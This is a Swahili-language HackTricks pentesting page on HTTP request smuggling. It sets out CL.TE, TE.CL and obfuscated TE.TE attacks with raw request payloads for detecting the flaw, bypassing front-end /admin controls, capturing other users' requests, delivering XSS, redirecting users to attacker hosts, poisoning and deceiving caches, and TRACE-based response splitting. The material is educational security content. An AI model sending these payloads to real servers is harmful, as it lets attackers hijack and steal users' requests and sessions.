hacktricks/pentesting-web/http-request-smuggling

Kudukuliwa kwa Ombi la HTTP / Shambulio la Desync la HTTP

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
• Pata swag rasmi wa PEASS & HackTricks
• Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Ni Nini

Udhaifu huu hutokea wakati desyncronization kati ya proxies ya mbele na seva ya nyuma inaruhusu mshambuliaji kutuma ombi la HTTP ambalo litatafsiriwa kama ombi moja na proxies ya mbele (usawa wa mzigo / reverse-proxy) na kama ombi 2 na seva ya nyuma.
Hii inaruhusu mtumiaji kurekebisha ombi linalofuata linalofika kwa seva ya nyuma baada yake.

Nadharia

Maelezo ya RFC (2161)

Ikiwa ujumbe unapokelewa na uwanja wa kichwa wa Transfer-Encoding na uwanja wa kichwa wa Content-Length, ule wa mwisho UNASTAHILI kupuuzwa.

Content-Length

Kichwa cha mwili wa yaliyomo cha Content-Length kinaonyesha ukubwa wa mwili wa yaliyomo, kwa bayti, iliyotumwa kwa mpokeaji.

Transfer-Encoding: chunked

Kichwa cha Transfer-Encoding kinaeleza aina ya uendeshaji iliyotumika kwa usalama kuhamisha mwili wa mzigo kwa mtumiaji.
Chunked inamaanisha kuwa data kubwa inatumwa katika mfululizo wa vipande.

Uhalisia

Mbele (usawa wa mzigo / Reverse Proxy) huprocess content-length au transfer-encoding kichwa na seva ya nyuma huprocess nyingine moja ikisababisha desyncronization kati ya mifumo 2.
Hii inaweza kuwa muhimu sana kwani mshambuliaji ataweza kutuma ombi moja kwa proxy ya nyuma ambayo itatafsiriwa na seva ya nyuma kama maombi 2 tofauti. Hatari ya mbinu hii iko katika ukweli kwamba seva ya nyuma itatafsiri ombi la 2 lililowekwa kana kwamba ilitoka kwa mteja anayefuata na ombi halisi ya mteja huyo itakuwa sehemu ya ombi lililowekwa.

Vipengele Maalum

Kumbuka kwamba katika HTTP tabia mpya ya mstari inajumuisha bayti 2:

• Content-Length: Kichwa hiki hutumia namba ya decimal kuonyesha idadi ya bayti ya mwili wa ombi. Mwili unatarajiwa kuishia katika herufi ya mwisho, mstari mpya hauhitajiki mwishoni mwa ombi.
• Transfer-Encoding: Kichwa hiki hutumia katika mwili namba ya hexadecimal kuonyesha idadi ya bayti ya kikundi kifuatacho. Kikundi lazima liishe na mstari mpya lakini mstari huu mpya hauchumiwi na kiashiria cha urefu. Mbinu hii ya uhamishaji lazima iishe na kikundi cha ukubwa 0 kifuatiwa na mistari 2 mipya: 0
• Connection: Kulingana na uzoefu wangu inapendekezwa kutumia Connection: keep-alive kwenye ombi la kwanza la kudukua.

Mifano ya Msingi

{% hint style="success" %} Unapojaribu kutumia hii na Burp Suite lemaza Sasisha Urefu wa Yaliyomo na Fanya Mstari wa HTTP/1 uwe wa kawaida kwenye repeater kwa sababu baadhi ya vifaa vinatumia mstari mpya, kurudi nyuma na urefu wa yaliyomo usio sahihi. {% endhint %}

Mashambulio ya kudukua ombi la HTTP hufanywa kwa kutuma maombi yenye utata ambayo yanatumia tofauti katika jinsi seva za mbele na nyuma zinavyotafsiri vichwa vya Content-Length (CL) na Transfer-Encoding (TE). Mashambulizi haya yanaweza kutokea katika aina tofauti, hasa kama CL.TE, TE.CL, na TE.TE. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi seva za mbele na nyuma zinavyoprioritize vichwa hivi. Udhaifu unatokea kutokana na seva kusindika ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.

Mifano ya Msingi ya Aina za Udhaifu

Udhaifu wa CL.TE (Content-Length kutumika na Mbele, Transfer-Encoding kutumika na Nyuma)

• Mbele (CL): Huprocess ombi kulingana na kichwa cha Content-Length.
• Nyuma (TE): Huprocess ombi kulingana na kichwa cha Transfer-Encoding.
• Skena ya Shambulio:
• Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha Content-Length haifanani na urefu halisi wa yaliyomo.
• Seva ya mbele inapeleka ombi lote kwa nyuma, kulingana na thamani ya Content-Length.
• Seva ya nyuma inasindika ombi kama chunked kutokana na kichwa cha Transfer-Encoding: chunked, ikifasiri data iliyobaki kama ombi tofauti, la baadaye.
• Mfano:

POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Udhaifu wa TE.CL (Transfer-Encoding kutumika na Mbele, Content-Length kutumika na Nyuma)

• Mbele (TE): Huprocess ombi kulingana na kichwa cha Transfer-Encoding.
• Nyuma (CL): Huprocess ombi kulingana na kichwa cha Content-Length.
• Skena ya Shambulio:
• Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (7b) na urefu halisi wa yaliyomo (Content-Length: 4) havilingani.
• Seva ya mbele, ikizingatia Transfer-Encoding, inapeleka ombi lote kwa nyuma.
• Seva ya nyuma, ikizingatia Content-Length, inasindika sehemu ya awali tu ya ombi (bayti 7b), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa baadaye.
• Mfano:

POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Mfumo wa TE.TE (Transfer-Encoding inayotumiwa na wote, na kuficha)

• Seva: Zote mbili zinasaidia Transfer-Encoding, lakini moja inaweza kudanganywa kwa kutozingatia kwa kuficha.
• Skenario ya Shambulio:
• Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya Transfer-Encoding.
• Kulingana na ni seva ipi (mbele au nyuma) inashindwa kutambua kuficha, udhaifu wa CL.TE au TE.CL unaweza kutumiwa.
• Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikisababisha usafirishaji haramu.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Skenario ya CL.CL (Content-Length inayotumiwa na Mbele na Nyuma):

• Zote seva zinasindika ombi kulingana na kichwa cha Content-Length pekee.
• Skenario hii kawaida haileti usafirishaji haramu, kwani kuna maelewano katika jinsi seva zote zinavyotafsiri urefu wa ombi.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Ombi la Kawaida

Skenario ya CL != 0:

• Inahusu hali ambapo kichwa cha Content-Length kipo na kina thamani tofauti na sifuri, ikionyesha kuwa mwili wa ombi una maudhui.
• Ni muhimu katika kuelewa na kutengeneza mashambulio ya usafirishaji, kwani inaathiri jinsi seva zinavyobaini mwisho wa ombi.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Mwili usio tupu

Kulazimisha kupitia vichwa vya hop-hop

Kwa kutumia vichwa vya hop-hop unaweza kuashiria kwa wakala kufuta kichwa cha Content-Length au Transfer-Encoding ili usafirishaji wa ombi la HTTP uwezekane kudhulumiwa.

Connection: Content-Length

Kwa maelezo zaidi kuhusu vichwa vya hop-by-hop, tembelea:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Kupata Ufichuaji wa Maombi ya HTTP

Kutambua udhaifu wa ufichuaji wa maombi ya HTTP mara nyingi hufanikiwa kutumia mbinu za wakati, ambazo hutegemea kuchunguza muda gani inachukua kwa seva kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine zinazoweza kutumika kugundua udhaifu kama huo:

Kupata Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati

• Mbinu:
• Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
• Mfano:

POST / HTTP/1.1
Host: tovuti-isiyolindwa.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Uchunguzi:
• Seva ya mbele huprocess ombi kulingana na Content-Length na kukata ujumbe mapema.
• Seva ya nyuma, ikitarajia ujumbe uliogawanywa, inasubiri kipande kinachofuata ambacho hakiwasili, kusababisha kucheleweshwa.
• Viashiria:
• Muda wa kusubiri au kuchelewesha mrefu katika majibu.
• Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, mara nyingine na maelezo ya kina ya seva.

Kupata Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati

• Mbinu:
• Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
• Mfano:

POST / HTTP/1.1
Host: tovuti-isiyolindwa.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Uchunguzi:
• Seva ya mbele huprocess ombi kulingana na Transfer-Encoding na kupeleka ujumbe wote.
• Seva ya nyuma, ikitarajia ujumbe kulingana na Content-Length, inasubiri data zaidi ambayo haitawasili, kusababisha kucheleweshwa.

Mbinu Nyingine za Kupata Udhaifu

• Uchambuzi wa Majibu Tofauti:
• Tuma toleo kidogo tofauti la ombi na uchunguze ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika upangaji.
• Kutumia Zana za Kiotomatiki:
• Zana kama kifaa cha 'HTTP Request Smuggler' cha Burp Suite zinaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yenye utata na kuchambua majibu.
• Vipimo vya Upeo wa Content-Length:
• Tuma maombi yenye thamani tofauti za Content-Length ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi seva inavyoshughulikia kutofautiana kama hizo.
• Vipimo vya Upeo wa Transfer-Encoding:
• Tuma maombi yenye vichwa vilivyofichwa au vilivyoharibika vya Transfer-Encoding na ufuatilie jinsi seva za mbele na nyuma zinavyojibu kwa manipulations kama hizo.

Jaribio la Udhaifu wa Ufichuaji wa Maombi ya HTTP

Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Mbinu moja rahisi ni kujaribu kudhoofisha maombi yako, kwa mfano, kufanya ombi kwa / kutoe majibu ya 404. Mifano ya CL.TE na TE.CL iliyozungumziwa hapo awali katika Mifano ya Msingi inaonyesha jinsi ya kudhoofisha ombi la mteja ili kupata majibu ya 404, licha ya mteja kutaka kupata rasilimali tofauti.

Mambo Muhimu

Wakati wa kujaribu udhaifu wa ufichuaji wa maombi kwa kuingilia kati na maombi mengine, kumbuka:

• Mawasiliano Tofauti ya Mtandao: Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia mawasiliano sawa kwa yote mawili haidhibitishi uwepo wa udhaifu.
• URL na Vigezo Thabiti: Lengo ni kutumia URLs na majina ya vigezo sawa kwa maombi yote. Programu za kisasa mara nyingi huzielekeza maombi kwa seva za nyuma maalum kulingana na URL na vigezo. Kufanana huku kunaweza kuongeza uwezekano wa maombi yote kusindika na seva ile ile, ambayo ni sharti la shambulio la mafanikio.
• Wakati na Hali za Mashindano: Ombi la "kawaida", lililolenga kugundua kuingilia kati kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayofanyika wakati huo huo. Hivyo, tuma ombi la "kawaida" mara moja baada ya kutuma ombi la "shambulio". Programu zilizojaa zinaweza kuhitaji majaribio mengi kwa uthibitisho wa udhaifu.
• Changamoto za Kugawanya Mzigo: Seva za mbele zinazofanya kazi kama mizani ya mzigo zinaweza kusambaza maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Hali hii ya kugawanya mzigo inaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
• Athari Isiyotarajiwa kwa Mtumiaji: Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine (si ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha shambulio lako limeathiri mtumiaji mwingine wa programu. Majaribio ya mara kwa mara yanaweza kuvuruga watumiaji wengine, hivyo inahitaji kuwa makini.

Kutumia Ufichuaji wa Maombi ya HTTP

Kuzunguka Ulinzi wa Mbele kupitia Ufichuaji wa Maombi ya HTTP

Maranyingi, mabara ya mbele hutekeleza hatua za usalama, kuchunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kuzungukwa kwa kutumia Ufichuaji wa Maombi ya HTTP, kuruhusu ufikiaji usiohalali kwenye vituo vilivyozuiwa. Kwa mfano, kupata /admin kunaweza kuzuiliwa kwa nje, na mbara ya mbele ikizuia kwa bidii majaribio kama hayo. Hata hivyo, mbara hii inaweza kusahau kuchunguza maombi yaliyofichwa ndani ya ombi la HTTP lililofichwa, kuacha mwanya wa kuzunguka vizuizi hivi.

Fikiria mifano ifuatayo inayoonyesha jinsi Ufichuaji wa Maombi ya HTTP unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, kwa kuzilenga hasa njia ya /admin ambayo kawaida hulindwa na mbara ya mbele:

Mfano wa CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Katika shambulio la CL.TE, kichwa cha Content-Length hutumika kwa ombi la awali, wakati ombi lililofichwa linatumia kichwa cha Transfer-Encoding: chunked. Mfumo wa mbele wa proksi huprocess ombi la awali la POST lakini hushindwa kuchunguza ombi lililofichwa la GET /admin, kuruhusu ufikiaji usioruhusiwa kwenye njia ya /admin.

Mfano wa TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Kinyume chake, katika shambulio la TE.CL, ombi la kwanza la POST hutumia Transfer-Encoding: chunked, na ombi lililofichwa baadaye hupitishwa kulingana na kichwa cha Content-Length. Kama shambulio la CL.TE, mtoa huduma wa mbele hupuuza ombi lililofichwa la GET /admin, kwa bahati mbaya kutoa ufikivu kwa njia iliyozuiwa ya /admin.

Kufichua upya ombi la mbele la mbele

Maombi mara nyingi hutumia seva ya mbele kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida kunajumuisha kuongeza vichwa, kama vile X-Forwarded-For: <IP ya mteja>, kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya kunaweza kuwa muhimu, kwani inaweza kufunua njia za kipuuzi za ulinzi au kufunua habari au vituo vilivyofichwa.

Ili kuchunguza jinsi mtoa huduma anavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha kwenye jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwishoni, kama ifuatavyo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Katika muundo huu, vipengele vya ombi vinavyofuata huongezwa baada ya search=, ambayo ni parameter inayorejelewa katika jibu. Urefu wa yaliyorejelewa utafunua vichwa vya ombi linalofuata.

Ni muhimu kulinganisha kichwa cha Content-Length cha ombi lililofichwa na urefu halisi wa yaliyomo. Kuanzia na thamani ndogo na kuongeza polepole ni vyema, kwani thamani ndogo sana itakata data iliyorejelewa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.

Mbinu hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na search=\r\n0. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.

Mbinu hii kimsingi inatumika kuelewa mabadiliko ya ombi yaliyofanywa na mwendeshaji wa mbele, kimsingi kufanya uchunguzi wa kujielekeza.

Kukamata maombi ya watumiaji wengine

Inawezekana kukamata maombi ya mtumiaji wa pili kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa ndivyo hii inavyoweza kufanikishwa:

Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Katika hali hii, parameter ya maoni inalenga kuhifadhi maudhui ndani ya sehemu ya maoni kwenye ukurasa ulio wazi kwa umma. Kwa hivyo, maudhui ya ombi la kufuatia yataonekana kama maoni.

Hata hivyo, mbinu hii ina vikwazo. Kwa ujumla, inakamata data hadi kufikia kizuizi cha parameter kilichotumika katika ombi lililosafirishwa. Kwa maingizo ya fomu zilizofungwa kwa URL, kizuizi hiki ni herufi ya &. Hii inamaanisha maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye & ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utafutaji.

Zaidi ya hayo, ni muhimu kutambua kuwa njia hii pia inafaa na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na search=\r\n0. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.

Kutumia uchomaji wa ombi la HTTP kudanganya XSS iliyorejelewa

Uchomaji wa Ombi la HTTP unaweza kutumika kudanganya kurasa za wavuti zenye udhaifu wa XSS iliyorejelewa, ikitoa faida kubwa:

• Mwingiliano na watumiaji lengwa haohitajiki.
• Inaruhusu kutumia XSS katika sehemu za ombi ambazo kawaida ni vigumu kufikiwa, kama vile vichwa vya ombi la HTTP.

Katika hali ambapo tovuti inaweza kuathiriwa na XSS iliyorejelewa kupitia kichwa cha Mtumiaji, mzigo wa kufuatia unadhihirisha jinsi ya kutumia udhaifu huu:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Payload hii imeundwa kuchexploit udhaifu kwa:

1. Kuanzisha ombi la POST, linaloonekana kawaida, na kichwa cha Transfer-Encoding: chunked kuashiria kuanza kwa smuggling.
2. Kufuatiwa na 0, ikionyesha mwisho wa mwili wa ujumbe uliogawanywa kwa vipande.
3. Kisha, ombi la GET lililosukumwa linaletwa, ambapo kichwa cha User-Agent kimeingizwa na script, <script>alert(1)</script>, kuzindua XSS wakati server inapoprocess ombi hili linalofuata.

Kwa kubadilisha User-Agent kupitia smuggling, payload inapita kwa kawaida kizuizi cha ombi, hivyo kuchexploit udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

Kuchexploit Migeuko ya Ndani kwa Kutumia HTTP Request Smuggling

Maombi mara nyingi hufanya migeuko kutoka kwa URL moja kwenda nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha Host katika URL ya migeuko. Hii ni kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila mstari wa mwisho husababisha migeuko kuwa na mstari wa mwisho:

GET /home HTTP/1.1
Host: normal-website.com

Matokeo ni:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ingawa inaonekana kuwa haina madhara, tabia hii inaweza kudanganywa kwa kutumia upachikaji wa maombi ya HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji lililopita kusukumwa kuelekea kwenye tovuti inayodhibitiwa na mshambuliaji:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Matokeo ni:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Katika kesi hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kuhatarisha mtumiaji kwa kumtumikia JavaScript mbaya kama jibu.

Kutumia Uchafuzi wa Cache ya Wavuti kupitia Udukuzi wa Ombi la HTTP

Uchafuzi wa cache ya wavuti unaweza kutekelezwa ikiwa sehemu yoyote ya miundombinu ya mbele ya wavuti inahifadhi maudhui, kawaida kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana kuharibu cache.

Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia Mifano ya Msingi). Vivyo hivyo, ni rahisi kudanganya seva kutoa maudhui ya /index.html kama jibu kwa ombi la /static/include.js. Kwa hivyo, maudhui ya /static/include.js yanabadilishwa kwenye cache na ile ya /index.html, ikifanya /static/include.js kuwa haipatikani kwa watumiaji, ikisababisha Uzuiaji wa Huduma (DoS) kwa uwezekano.

Mbinu hii inakuwa yenye nguvu hasa ikiwa Udhaifu wa Kuelekeza Wazi unagunduliwa au ikiwa kuna uelekezaji kwenye wavuti kwenda kwa kuelekeza wazi. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya /static/include.js na skripti chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha shambulio kubwa la Udukuzi wa Msalaba wa Wavuti (XSS) dhidi ya wateja wote wanaotaka /static/include.js iliyosasishwa.

Hapa chini ni mchoro wa kutumia uchafuzi wa cache uliounganishwa na uelekezaji wa wavuti kwenda kwa kuelekeza wazi. lengo ni kubadilisha maudhui ya cache ya /static/include.js kutumikia msimbo wa JavaScript uliodhibitiwa na mshambuliaji:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Tafadhali kumbuka ombi lililofichwa linalolenga /post/next?postId=3. Ombi hili litaelekezwa kwa /post?postId=4, likitumia thamani ya kichwa cha Host kubaini kikoa. Kwa kubadilisha kichwa cha Host, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (kuelekeza kwa tovuti yao kwa kuelekeza wazi).

Baada ya sumu ya soketi kufanikiwa, ombi la GET kwa /static/include.js linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la kuelekeza kwa tovuti yao kwa kuelekeza wazi na kupata maudhui ya skripti inayodhibitiwa na mshambuliaji.

Baadaye, ombi lolote kwa /static/include.js litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, ikizindua mashambulizi makubwa ya XSS.

Kutumia udanganyifu wa ombi la HTTP kufanya udanganyifu wa kuhifadhi wavuti

Ni tofauti gani kati ya sumu ya kuhifadhi wavuti na udanganyifu wa kuhifadhi wavuti?

• Katika sumu ya kuhifadhi wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye hifadhi, na maudhui haya hutolewa kutoka kwenye hifadhi kwa watumiaji wengine wa programu.
• Katika udanganyifu wa kuhifadhi wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye hifadhi, na mshambuliaji kisha huchukua maudhui haya kutoka kwenye hifadhi.

Mshambuliaji huchora ombi lililofichwa linalopata maudhui nyeti yanayohusiana na mtumiaji. Fikiria mfano ufuatao:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ikiwa ombi lililokwepa linachafua kuingia kwa cache iliyokusudiwa kwa yaliyomo ya msingi (k.m., /someimage.png), data nyeti ya mwathiriwa kutoka /private/messages inaweza kuingizwa chini ya kuingia cha cache ya yaliyomo ya msingi. Kufuatia hivyo, mkaidi anaweza kupata data nyeti zilizohifadhiwa kwenye cache hizo.

Kutumia TRACE kupitia Kuingiza Ombi la HTTP

Katika chapisho hili inapendekezwa kwamba ikiwa seva ina njia ya TRACE imewezeshwa inaweza kuwa inawezekana kuitumia kwa Kuingiza Ombi la HTTP. Hii ni kwa sababu njia hii itaonyesha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa majibu. Kwa mfano:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Nitawasilisha jibu kama vile:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Mfano wa jinsi ya kutumia tabia hii ni kutumia kwanza ombi la HEAD. Ombi hili litajibiwa na vichwa tu vya ombi la GET (Content-Type miongoni mwao). Na kisha tumia mara moja baada ya HEAD ombi la TRACE, ambalo litakuwa linarudisha data iliyotumwa.
Kwa kuwa jibu la HEAD litakuwa na kichwa cha Content-Length, jibu la ombi la TRACE litachukuliwa kama mwili wa jibu la HEAD, hivyo kuirudisha data isiyojulikana katika jibu.
Jibu hili litatumwa kwa ombi lifuatalo kupitia uhusiano, hivyo hii inaweza kutumika katika faili ya JS iliyohifadhiwa kwa mfano kuingiza msimbo wa JS usiojulikana.

Kutumia TRACE kupitia Uvunjaji wa Majibu ya HTTP

Endelea kufuata chapisho hili inapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyoelezwa, kwa kusafirisha ombi la HEAD na ombi la TRACE ni inawezekana kudhibiti baadhi ya data zilizorudishwa katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unajumuisha jibu la ombi la TRACE.

Hivyo basi, wazo jipya litakuwa kwamba, kwa kujua hii Content-Length na data iliyotolewa katika jibu la TRACE, ni inawezekana kufanya jibu la TRACE liwe na jibu sahihi la HTTP baada ya byte ya mwisho ya Content-Length, kuruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya sumu ya cache).

Mfano:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Itakuwaleta majibu haya (tazama jinsi jibu la HEAD lina Content-Length linalofanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu sahihi la HTTP linasafirishwa):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Kutumia Silaha ya Udukuzi wa Ombi la HTTP na Kutengeneza Kutofautisha Majibu ya HTTP

Je, umepata udhaifu wa Udukuzi wa Ombi la HTTP na hujui jinsi ya kuutumia. Jaribu njia hizi nyingine za udukuzi:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Njia Nyingine za Udukuzi wa Ombi la HTTP

• Udukuzi wa Ombi la HTTP kwenye Kivinjari (Upande wa Mteja)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

• Udukuzi wa Ombi katika Kupunguza Viwango vya HTTP/2

